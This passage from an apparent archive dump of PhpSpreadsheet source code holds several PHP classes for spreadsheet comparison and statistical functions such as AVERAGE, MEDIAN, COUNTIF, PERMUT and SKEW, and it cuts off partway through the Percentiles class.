null) { $this->setBackward($backward); } if ($forward !== null) { $this->setForward($forward); } if ($intercept !== null) { $this->setIntercept($intercept); } if ($name !== null) { $this->setName($name); } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/BinaryComparison.php000064400000013046151676714400023501 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class BinaryComparison { /** * Epsilon Precision used for comparisons in calculations. */ private const DELTA = 0.1e-12; /** * Compare two strings in the same way as strcmp() except that lowercase come before uppercase letters. * * @param null|string $str1 First string value for the comparison * @param null|string $str2 Second string value for the comparison */ private static function strcmpLowercaseFirst(?string $str1, ?string $str2): int { $inversedStr1 = StringHelper::strCaseReverse($str1 ?? ''); $inversedStr2 = StringHelper::strCaseReverse($str2 ?? ''); return strcmp($inversedStr1, $inversedStr2); } /** * PHP8.1 deprecates passing null to strcmp. * * @param null|string $str1 First string value for the comparison * @param null|string $str2 Second string value for the comparison */ private static function strcmpAllowNull(?string $str1, ?string $str2): int { return strcmp($str1 ?? '', $str2 ?? ''); } public static function compare(mixed $operand1, mixed $operand2, string $operator): bool { // Simple validate the two operands if they are string values if (is_string($operand1) && $operand1 > '' && $operand1[0] == Calculation::FORMULA_STRING_QUOTE) { $operand1 = Calculation::unwrapResult($operand1); } if (is_string($operand2) && $operand2 > '' && $operand2[0] == Calculation::FORMULA_STRING_QUOTE) { $operand2 = Calculation::unwrapResult($operand2); } // Use case insensitive comparaison if not OpenOffice mode if (Functions::getCompatibilityMode() != Functions::COMPATIBILITY_OPENOFFICE) { if (is_string($operand1)) { $operand1 = StringHelper::strToUpper($operand1); } if (is_string($operand2)) { $operand2 = StringHelper::strToUpper($operand2); } } $useLowercaseFirstComparison = is_string($operand1) && is_string($operand2) && Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE; return self::evaluateComparison($operand1, $operand2, $operator, $useLowercaseFirstComparison); } private static function evaluateComparison(mixed $operand1, mixed $operand2, string $operator, bool $useLowercaseFirstComparison): bool { return match ($operator) { '=' => self::equal($operand1, $operand2), '>' => self::greaterThan($operand1, $operand2, $useLowercaseFirstComparison), '<' => self::lessThan($operand1, $operand2, $useLowercaseFirstComparison), '>=' => self::greaterThanOrEqual($operand1, $operand2, $useLowercaseFirstComparison), '<=' => self::lessThanOrEqual($operand1, $operand2, $useLowercaseFirstComparison), '<>' => self::notEqual($operand1, $operand2), default => throw new Exception('Unsupported binary comparison operator'), }; } private static function equal(mixed $operand1, mixed $operand2): bool { if (is_numeric($operand1) && is_numeric($operand2)) { $result = (abs($operand1 - $operand2) < self::DELTA); } elseif (($operand1 === null && is_numeric($operand2)) || ($operand2 === null && is_numeric($operand1))) { $result = $operand1 == $operand2; } else { $result = self::strcmpAllowNull($operand1, $operand2) == 0; } return $result; } private static function greaterThanOrEqual(mixed $operand1, mixed $operand2, bool $useLowercaseFirstComparison): bool { if (is_numeric($operand1) && is_numeric($operand2)) { $result = ((abs($operand1 - $operand2) < self::DELTA) || ($operand1 > $operand2)); } elseif (($operand1 === null && is_numeric($operand2)) || ($operand2 === null && is_numeric($operand1))) { $result = $operand1 >= $operand2; } elseif ($useLowercaseFirstComparison) { $result = self::strcmpLowercaseFirst($operand1, $operand2) >= 0; } else { $result = self::strcmpAllowNull($operand1, $operand2) >= 0; } return $result; } private static function lessThanOrEqual(mixed $operand1, mixed $operand2, bool $useLowercaseFirstComparison): bool { if (is_numeric($operand1) && is_numeric($operand2)) { $result = ((abs($operand1 - $operand2) < self::DELTA) || ($operand1 < $operand2)); } elseif (($operand1 === null && is_numeric($operand2)) || ($operand2 === null && is_numeric($operand1))) { $result = $operand1 <= $operand2; } elseif ($useLowercaseFirstComparison) { $result = self::strcmpLowercaseFirst($operand1, $operand2) <= 0; } else { $result = self::strcmpAllowNull($operand1, $operand2) <= 0; } return $result; } private static function greaterThan(mixed $operand1, mixed $operand2, bool $useLowercaseFirstComparison): bool { return self::lessThanOrEqual($operand1, $operand2, $useLowercaseFirstComparison) !== true; } private static function lessThan(mixed $operand1, mixed $operand2, bool $useLowercaseFirstComparison): bool { return self::greaterThanOrEqual($operand1, $operand2, $useLowercaseFirstComparison) !== true; } private static function notEqual(mixed $operand1, mixed $operand2): bool { return self::equal($operand1, $operand2) !== true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Averages/Mean.php000064400000007042151676714400025122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Averages; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Averages; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Counts; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Minimum; class Mean { /** * GEOMEAN. * * Returns the geometric mean of an array or range of positive data. For example, you * can use GEOMEAN to calculate average growth rate given compound interest with * variable rates. * * Excel Function: * GEOMEAN(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function geometric(mixed ...$args): float|int|string { $aArgs = Functions::flattenArray($args); $aMean = MathTrig\Operations::product($aArgs); if (is_numeric($aMean) && ($aMean > 0)) { $aCount = Counts::COUNT($aArgs); if (Minimum::min($aArgs) > 0) { return $aMean ** (1 / $aCount); } } return ExcelError::NAN(); } /** * HARMEAN. * * Returns the harmonic mean of a data set. The harmonic mean is the reciprocal of the * arithmetic mean of reciprocals. * * Excel Function: * HARMEAN(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function harmonic(mixed ...$args): string|float|int { // Loop through arguments $aArgs = Functions::flattenArray($args); if (Minimum::min($aArgs) < 0) { return ExcelError::NAN(); } $returnValue = 0; $aCount = 0; foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if ($arg <= 0) { return ExcelError::NAN(); } $returnValue += (1 / $arg); ++$aCount; } } // Return if ($aCount > 0) { return 1 / ($returnValue / $aCount); } return ExcelError::NA(); } /** * TRIMMEAN. * * Returns the mean of the interior of a data set. TRIMMEAN calculates the mean * taken by excluding a percentage of data points from the top and bottom tails * of a data set. * * Excel Function: * TRIMEAN(value1[,value2[, ...]], $discard) * * @param mixed $args Data values */ public static function trim(mixed ...$args): float|string { $aArgs = Functions::flattenArray($args); // Calculate $percent = array_pop($aArgs); if ((is_numeric($percent)) && (!is_string($percent))) { if (($percent < 0) || ($percent > 1)) { return ExcelError::NAN(); } $mArgs = []; foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $discard = floor(Counts::COUNT($mArgs) * $percent / 2); sort($mArgs); for ($i = 0; $i < $discard; ++$i) { array_pop($mArgs); array_shift($mArgs); } return Averages::average($mArgs); } return ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Maximum.php000064400000004405151676714400024122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; class Maximum extends MaxMinBase { /** * MAX. * * MAX returns the value of the element of the values passed that has the highest value, * with negative numbers considered smaller than positive numbers. * * Excel Function: * MAX(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function max(mixed ...$args): float|int|string { $returnValue = null; // Loop through arguments $aArgs = Functions::flattenArray($args); foreach ($aArgs as $arg) { if (ErrorValue::isError($arg)) { $returnValue = $arg; break; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (($returnValue === null) || ($arg > $returnValue)) { $returnValue = $arg; } } } if ($returnValue === null) { return 0; } return $returnValue; } /** * MAXA. * * Returns the greatest value in a list of arguments, including numbers, text, and logical values * * Excel Function: * MAXA(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function maxA(mixed ...$args): float|int|string { $returnValue = null; // Loop through arguments $aArgs = Functions::flattenArray($args); foreach ($aArgs as $arg) { if (ErrorValue::isError($arg)) { $returnValue = $arg; break; } // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { $arg = self::datatypeAdjustmentAllowStrings($arg); if (($returnValue === null) || ($arg > $returnValue)) { $returnValue = $arg; } } } if ($returnValue === null) { return 0; } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/MaxMinBase.php000064400000000563151676714400024472 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; abstract class MaxMinBase { protected static function datatypeAdjustmentAllowStrings(int|float|string|bool $value): int|float { if (is_bool($value)) { return (int) $value; } elseif (is_string($value)) { return 0; } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Deviations.php000064400000010555151676714400024615 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Deviations { /** * DEVSQ. * * Returns the sum of squares of deviations of data points from their sample mean. * * Excel Function: * DEVSQ(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function sumSquares(mixed ...$args): string|float { $aArgs = Functions::flattenArrayIndexed($args); $aMean = Averages::average($aArgs); if (!is_numeric($aMean)) { return ExcelError::NAN(); } // Return value $returnValue = 0.0; $aCount = -1; foreach ($aArgs as $k => $arg) { // Is it a numeric value? if ( (is_bool($arg)) && ((!Functions::isCellValue($k)) || (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_OPENOFFICE)) ) { $arg = (int) $arg; } if ((is_numeric($arg)) && (!is_string($arg))) { $returnValue += ($arg - $aMean) ** 2; ++$aCount; } } return $aCount === 0 ? ExcelError::VALUE() : $returnValue; } /** * KURT. * * Returns the kurtosis of a data set. Kurtosis characterizes the relative peakedness * or flatness of a distribution compared with the normal distribution. Positive * kurtosis indicates a relatively peaked distribution. Negative kurtosis indicates a * relatively flat distribution. * * @param array ...$args Data Series */ public static function kurtosis(...$args): string|int|float { $aArgs = Functions::flattenArrayIndexed($args); $mean = Averages::average($aArgs); if (!is_numeric($mean)) { return ExcelError::DIV0(); } $stdDev = (float) StandardDeviations::STDEV($aArgs); if ($stdDev > 0) { $count = $summer = 0; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summer += (($arg - $mean) / $stdDev) ** 4; ++$count; } } } if ($count > 3) { return $summer * ($count * ($count + 1) / (($count - 1) * ($count - 2) * ($count - 3))) - (3 * ($count - 1) ** 2 / (($count - 2) * ($count - 3))); } } return ExcelError::DIV0(); } /** * SKEW. * * Returns the skewness of a distribution. Skewness characterizes the degree of asymmetry * of a distribution around its mean. Positive skewness indicates a distribution with an * asymmetric tail extending toward more positive values. Negative skewness indicates a * distribution with an asymmetric tail extending toward more negative values. * * @param array ...$args Data Series * * @return float|int|string The result, or a string containing an error */ public static function skew(...$args): string|int|float { $aArgs = Functions::flattenArrayIndexed($args); $mean = Averages::average($aArgs); if (!is_numeric($mean)) { return ExcelError::DIV0(); } $stdDev = StandardDeviations::STDEV($aArgs); if ($stdDev === 0.0 || is_string($stdDev)) { return ExcelError::DIV0(); } $count = $summer = 0; // Loop through arguments foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!Functions::isMatrixValue($k))) { } elseif (!is_numeric($arg)) { return ExcelError::VALUE(); } else { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summer += (($arg - $mean) / $stdDev) ** 3; ++$count; } } } if ($count > 2) { return $summer * ($count / (($count - 1) * ($count - 2))); } return ExcelError::DIV0(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Permutations.php000064400000007241151676714400025200 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Shared\IntOrFloat; class Permutations { use ArrayEnabled; /** * PERMUT. * * Returns the number of permutations for a given number of objects that can be * selected from number objects. A permutation is any set or subset of objects or * events where internal order is significant. Permutations are different from * combinations, for which the internal order is not significant. Use this function * for lottery-style probability calculations. * * @param mixed $numObjs Integer number of different objects * Or can be an array of values * @param mixed $numInSet Integer number of objects in each permutation * Or can be an array of values * * @return array|float|int|string Number of permutations, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function PERMUT(mixed $numObjs, mixed $numInSet) { if (is_array($numObjs) || is_array($numInSet)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs, $numInSet); } try { $numObjs = StatisticalValidations::validateInt($numObjs); $numInSet = StatisticalValidations::validateInt($numInSet); } catch (Exception $e) { return $e->getMessage(); } if ($numObjs < $numInSet) { return ExcelError::NAN(); } /** @var float|int|string */ $result1 = MathTrig\Factorial::fact($numObjs); if (is_string($result1)) { return $result1; } /** @var float|int|string */ $result2 = MathTrig\Factorial::fact($numObjs - $numInSet); if (is_string($result2)) { return $result2; } $result = round($result1 / $result2); return IntOrFloat::evaluate($result); } /** * PERMUTATIONA. * * Returns the number of permutations for a given number of objects (with repetitions) * that can be selected from the total objects. * * @param mixed $numObjs Integer number of different objects * Or can be an array of values * @param mixed $numInSet Integer number of objects in each permutation * Or can be an array of values * * @return array|float|int|string Number of permutations, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function PERMUTATIONA(mixed $numObjs, mixed $numInSet) { if (is_array($numObjs) || is_array($numInSet)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs, $numInSet); } try { $numObjs = StatisticalValidations::validateInt($numObjs); $numInSet = StatisticalValidations::validateInt($numInSet); } catch (Exception $e) { return $e->getMessage(); } if ($numObjs < 0 || $numInSet < 0) { return ExcelError::NAN(); } $result = $numObjs ** $numInSet; return IntOrFloat::evaluate($result); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Confidence.php000064400000003414151676714400024541 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Confidence { use ArrayEnabled; /** * CONFIDENCE. * * Returns the confidence interval for a population mean * * @param mixed $alpha As a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * @param mixed $size As an integer * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function CONFIDENCE(mixed $alpha, mixed $stdDev, mixed $size) { if (is_array($alpha) || is_array($stdDev) || is_array($size)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $alpha, $stdDev, $size); } try { $alpha = StatisticalValidations::validateFloat($alpha); $stdDev = StatisticalValidations::validateFloat($stdDev); $size = StatisticalValidations::validateInt($size); } catch (Exception $e) { return $e->getMessage(); } if (($alpha <= 0) || ($alpha >= 1) || ($stdDev <= 0) || ($size < 1)) { return ExcelError::NAN(); } /** @var float $temp */ $temp = Distributions\StandardNormal::inverse(1 - $alpha / 2); return Functions::scalar($temp * $stdDev / sqrt($size)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Averages.php000064400000017076151676714400024252 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Averages extends AggregateBase { /** * AVEDEV. * * Returns the average of the absolute deviations of data points from their mean. * AVEDEV is a measure of the variability in a data set. * * Excel Function: * AVEDEV(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string (string if result is an error) */ public static function averageDeviations(mixed ...$args): string|float { $aArgs = Functions::flattenArrayIndexed($args); // Return value $returnValue = 0.0; $aMean = self::average(...$args); if ($aMean === ExcelError::DIV0()) { return ExcelError::NAN(); } elseif ($aMean === ExcelError::VALUE()) { return ExcelError::VALUE(); } $aCount = 0; foreach ($aArgs as $k => $arg) { $arg = self::testAcceptedBoolean($arg, $k); // Is it a numeric value? // Strings containing numeric values are only counted if they are string literals (not cell values) // and then only in MS Excel and in Open Office, not in Gnumeric if ((is_string($arg)) && (!is_numeric($arg)) && (!Functions::isCellValue($k))) { return ExcelError::VALUE(); } if (self::isAcceptedCountable($arg, $k)) { $returnValue += abs($arg - $aMean); ++$aCount; } } // Return if ($aCount === 0) { return ExcelError::DIV0(); } return $returnValue / $aCount; } /** * AVERAGE. * * Returns the average (arithmetic mean) of the arguments * * Excel Function: * AVERAGE(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|int|string (string if result is an error) */ public static function average(mixed ...$args): string|int|float { $returnValue = $aCount = 0; // Loop through arguments foreach (Functions::flattenArrayIndexed($args) as $k => $arg) { $arg = self::testAcceptedBoolean($arg, $k); // Is it a numeric value? // Strings containing numeric values are only counted if they are string literals (not cell values) // and then only in MS Excel and in Open Office, not in Gnumeric if ((is_string($arg)) && (!is_numeric($arg)) && (!Functions::isCellValue($k))) { return ExcelError::VALUE(); } if (self::isAcceptedCountable($arg, $k)) { $returnValue += $arg; ++$aCount; } } // Return if ($aCount > 0) { return $returnValue / $aCount; } return ExcelError::DIV0(); } /** * AVERAGEA. * * Returns the average of its arguments, including numbers, text, and logical values * * Excel Function: * AVERAGEA(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|int|string (string if result is an error) */ public static function averageA(mixed ...$args): string|int|float { $returnValue = null; $aCount = 0; // Loop through arguments foreach (Functions::flattenArrayIndexed($args) as $k => $arg) { if (is_numeric($arg)) { // do nothing } elseif (is_bool($arg)) { $arg = (int) $arg; } elseif (!Functions::isMatrixValue($k)) { $arg = 0; } else { return ExcelError::VALUE(); } $returnValue += $arg; ++$aCount; } if ($aCount > 0) { return $returnValue / $aCount; } return ExcelError::DIV0(); } /** * MEDIAN. * * Returns the median of the given numbers. The median is the number in the middle of a set of numbers. * * Excel Function: * MEDIAN(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string The result, or a string containing an error */ public static function median(mixed ...$args): float|string { $aArgs = Functions::flattenArray($args); $returnValue = ExcelError::NAN(); $aArgs = self::filterArguments($aArgs); $valueCount = count($aArgs); if ($valueCount > 0) { sort($aArgs, SORT_NUMERIC); $valueCount = $valueCount / 2; if ($valueCount == floor($valueCount)) { $returnValue = ($aArgs[$valueCount--] + $aArgs[$valueCount]) / 2; } else { $valueCount = floor($valueCount); $returnValue = $aArgs[$valueCount]; } } return $returnValue; } /** * MODE. * * Returns the most frequently occurring, or repetitive, value in an array or range of data * * Excel Function: * MODE(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string The result, or a string containing an error */ public static function mode(mixed ...$args): float|string { $returnValue = ExcelError::NA(); // Loop through arguments $aArgs = Functions::flattenArray($args); $aArgs = self::filterArguments($aArgs); if (!empty($aArgs)) { return self::modeCalc($aArgs); } return $returnValue; } protected static function filterArguments(array $args): array { return array_filter( $args, function ($value): bool { // Is it a numeric value? return is_numeric($value) && (!is_string($value)); } ); } /** * Special variant of array_count_values that isn't limited to strings and integers, * but can work with floating point numbers as values. */ private static function modeCalc(array $data): float|string { $frequencyArray = []; $index = 0; $maxfreq = 0; $maxfreqkey = ''; $maxfreqdatum = ''; foreach ($data as $datum) { $found = false; ++$index; foreach ($frequencyArray as $key => $value) { if ((string) $value['value'] == (string) $datum) { ++$frequencyArray[$key]['frequency']; $freq = $frequencyArray[$key]['frequency']; if ($freq > $maxfreq) { $maxfreq = $freq; $maxfreqkey = $key; $maxfreqdatum = $datum; } elseif ($freq == $maxfreq) { if ($frequencyArray[$key]['index'] < $frequencyArray[$maxfreqkey]['index']) { $maxfreqkey = $key; $maxfreqdatum = $datum; } } $found = true; break; } } if ($found === false) { $frequencyArray[] = [ 'value' => $datum, 'frequency' => 1, 'index' => $index, ]; } } if ($maxfreq <= 1) { return ExcelError::NA(); } return $maxfreqdatum; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Conditional.php000064400000023041151676714400024745 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Database\DAverage; use PhpOffice\PhpSpreadsheet\Calculation\Database\DCount; use PhpOffice\PhpSpreadsheet\Calculation\Database\DMax; use PhpOffice\PhpSpreadsheet\Calculation\Database\DMin; use PhpOffice\PhpSpreadsheet\Calculation\Database\DSum; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcException; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Conditional { private const CONDITION_COLUMN_NAME = 'CONDITION'; private const VALUE_COLUMN_NAME = 'VALUE'; private const CONDITIONAL_COLUMN_NAME = 'CONDITIONAL %d'; /** * AVERAGEIF. * * Returns the average value from a range of cells that contain numbers within the list of arguments * * Excel Function: * AVERAGEIF(range,condition[, average_range]) * * @param mixed $range Data values * @param null|array|string $condition the criteria that defines which cells will be checked * @param mixed $averageRange Data values */ public static function AVERAGEIF(mixed $range, null|array|string $condition, mixed $averageRange = []): null|int|float|string { if (!is_array($range) || !is_array($averageRange) || array_key_exists(0, $range) || array_key_exists(0, $averageRange)) { throw new CalcException('Must specify range of cells, not any kind of literal'); } $database = self::databaseFromRangeAndValue($range, $averageRange); $condition = [[self::CONDITION_COLUMN_NAME, self::VALUE_COLUMN_NAME], [$condition, null]]; return DAverage::evaluate($database, self::VALUE_COLUMN_NAME, $condition); } /** * AVERAGEIFS. * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * AVERAGEIFS(average_range, criteria_range1, criteria1, [criteria_range2, criteria2]…) * * @param mixed $args Pairs of Ranges and Criteria */ public static function AVERAGEIFS(mixed ...$args): null|int|float|string { if (empty($args)) { return 0.0; } elseif (count($args) === 3) { return self::AVERAGEIF($args[1], $args[2], $args[0]); } foreach ($args as $arg) { if (is_array($arg) && array_key_exists(0, $arg)) { throw new CalcException('Must specify range of cells, not any kind of literal'); } } $conditions = self::buildConditionSetForValueRange(...$args); $database = self::buildDatabaseWithValueRange(...$args); return DAverage::evaluate($database, self::VALUE_COLUMN_NAME, $conditions); } /** * COUNTIF. * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * COUNTIF(range,condition) * * @param mixed[] $range Data values * @param null|array|string $condition the criteria that defines which cells will be counted */ public static function COUNTIF(array $range, null|array|string $condition): string|int { // Filter out any empty values that shouldn't be included in a COUNT $range = array_filter( Functions::flattenArray($range), fn ($value): bool => $value !== null && $value !== '' ); $range = array_merge([[self::CONDITION_COLUMN_NAME]], array_chunk($range, 1)); $condition = array_merge([[self::CONDITION_COLUMN_NAME]], [[$condition]]); return DCount::evaluate($range, null, $condition, false); } /** * COUNTIFS. * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * COUNTIFS(criteria_range1, criteria1, [criteria_range2, criteria2]…) * * @param mixed $args Pairs of Ranges and Criteria */ public static function COUNTIFS(mixed ...$args): int|string { if (empty($args)) { return 0; } elseif (count($args) === 2) { return self::COUNTIF(...$args); } $database = self::buildDatabase(...$args); $conditions = self::buildConditionSet(...$args); return DCount::evaluate($database, null, $conditions, false); } /** * MAXIFS. * * Returns the maximum value within a range of cells that contain numbers within the list of arguments * * Excel Function: * MAXIFS(max_range, criteria_range1, criteria1, [criteria_range2, criteria2]…) * * @param mixed $args Pairs of Ranges and Criteria */ public static function MAXIFS(mixed ...$args): null|float|string { if (empty($args)) { return 0.0; } $conditions = self::buildConditionSetForValueRange(...$args); $database = self::buildDatabaseWithValueRange(...$args); return DMax::evaluate($database, self::VALUE_COLUMN_NAME, $conditions, false); } /** * MINIFS. * * Returns the minimum value within a range of cells that contain numbers within the list of arguments * * Excel Function: * MINIFS(min_range, criteria_range1, criteria1, [criteria_range2, criteria2]…) * * @param mixed $args Pairs of Ranges and Criteria */ public static function MINIFS(mixed ...$args): null|float|string { if (empty($args)) { return 0.0; } $conditions = self::buildConditionSetForValueRange(...$args); $database = self::buildDatabaseWithValueRange(...$args); return DMin::evaluate($database, self::VALUE_COLUMN_NAME, $conditions, false); } /** * SUMIF. * * Totals the values of cells that contain numbers within the list of arguments * * Excel Function: * SUMIF(range, criteria, [sum_range]) * * @param array $range Data values */ public static function SUMIF(array $range, mixed $condition, array $sumRange = []): null|float|string { $database = self::databaseFromRangeAndValue($range, $sumRange); $condition = [[self::CONDITION_COLUMN_NAME, self::VALUE_COLUMN_NAME], [$condition, null]]; return DSum::evaluate($database, self::VALUE_COLUMN_NAME, $condition); } /** * SUMIFS. * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * SUMIFS(average_range, criteria_range1, criteria1, [criteria_range2, criteria2]…) * * @param mixed $args Pairs of Ranges and Criteria */ public static function SUMIFS(mixed ...$args): null|float|string { if (empty($args)) { return 0.0; } elseif (count($args) === 3) { return self::SUMIF($args[1], $args[2], $args[0]); } $conditions = self::buildConditionSetForValueRange(...$args); $database = self::buildDatabaseWithValueRange(...$args); return DSum::evaluate($database, self::VALUE_COLUMN_NAME, $conditions); } /** @param array $args */ private static function buildConditionSet(...$args): array { $conditions = self::buildConditions(1, ...$args); return array_map(null, ...$conditions); } /** @param array $args */ private static function buildConditionSetForValueRange(...$args): array { $conditions = self::buildConditions(2, ...$args); if (count($conditions) === 1) { return array_map( fn ($value): array => [$value], $conditions[0] ); } return array_map(null, ...$conditions); } /** @param array $args */ private static function buildConditions(int $startOffset, ...$args): array { $conditions = []; $pairCount = 1; $argumentCount = count($args); for ($argument = $startOffset; $argument < $argumentCount; $argument += 2) { $conditions[] = array_merge([sprintf(self::CONDITIONAL_COLUMN_NAME, $pairCount)], [$args[$argument]]); ++$pairCount; } return $conditions; } /** @param array $args */ private static function buildDatabase(...$args): array { $database = []; return self::buildDataSet(0, $database, ...$args); } /** @param array $args */ private static function buildDatabaseWithValueRange(...$args): array { $database = []; $database[] = array_merge( [self::VALUE_COLUMN_NAME], Functions::flattenArray($args[0]) ); return self::buildDataSet(1, $database, ...$args); } /** @param array $args */ private static function buildDataSet(int $startOffset, array $database, ...$args): array { $pairCount = 1; $argumentCount = count($args); for ($argument = $startOffset; $argument < $argumentCount; $argument += 2) { $database[] = array_merge( [sprintf(self::CONDITIONAL_COLUMN_NAME, $pairCount)], Functions::flattenArray($args[$argument]) ); ++$pairCount; } return array_map(null, ...$database); } private static function databaseFromRangeAndValue(array $range, array $valueRange = []): array { $range = Functions::flattenArray($range); $valueRange = Functions::flattenArray($valueRange); if (empty($valueRange)) { $valueRange = $range; } $database = array_map(null, array_merge([self::CONDITION_COLUMN_NAME], $range), array_merge([self::VALUE_COLUMN_NAME], $valueRange)); return $database; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Minimum.php000064400000004406151676714400024121 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; class Minimum extends MaxMinBase { /** * MIN. * * MIN returns the value of the element of the values passed that has the smallest value, * with negative numbers considered smaller than positive numbers. * * Excel Function: * MIN(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function min(mixed ...$args): float|int|string { $returnValue = null; // Loop through arguments $aArgs = Functions::flattenArray($args); foreach ($aArgs as $arg) { if (ErrorValue::isError($arg)) { $returnValue = $arg; break; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (($returnValue === null) || ($arg < $returnValue)) { $returnValue = $arg; } } } if ($returnValue === null) { return 0; } return $returnValue; } /** * MINA. * * Returns the smallest value in a list of arguments, including numbers, text, and logical values * * Excel Function: * MINA(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function minA(mixed ...$args): float|int|string { $returnValue = null; // Loop through arguments $aArgs = Functions::flattenArray($args); foreach ($aArgs as $arg) { if (ErrorValue::isError($arg)) { $returnValue = $arg; break; } // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { $arg = self::datatypeAdjustmentAllowStrings($arg); if (($returnValue === null) || ($arg < $returnValue)) { $returnValue = $arg; } } } if ($returnValue === null) { return 0; } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Percentiles.php000064400000014313151676714400024761 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Percentiles { public const RANK_SORT_DESCENDING = 0; public const RANK_SORT_ASCENDING = 1; /** * PERCENTILE. * * Returns the nth percentile of values in a range.. * * Excel Function: * PERCENTILE(value1[,value2[, ...]],entry) * * @param mixed $args Data values * * @return float|string The result, or a string containing an error */ public static function PERCENTILE(mixed ...$args) { $aArgs = Functions::flattenArray($args); // Calculate $entry = array_pop($aArgs); try { $entry = StatisticalValidations::validateFloat($entry); } catch (Exception $e) { return $e->getMessage(); } if (($entry < 0) || ($entry > 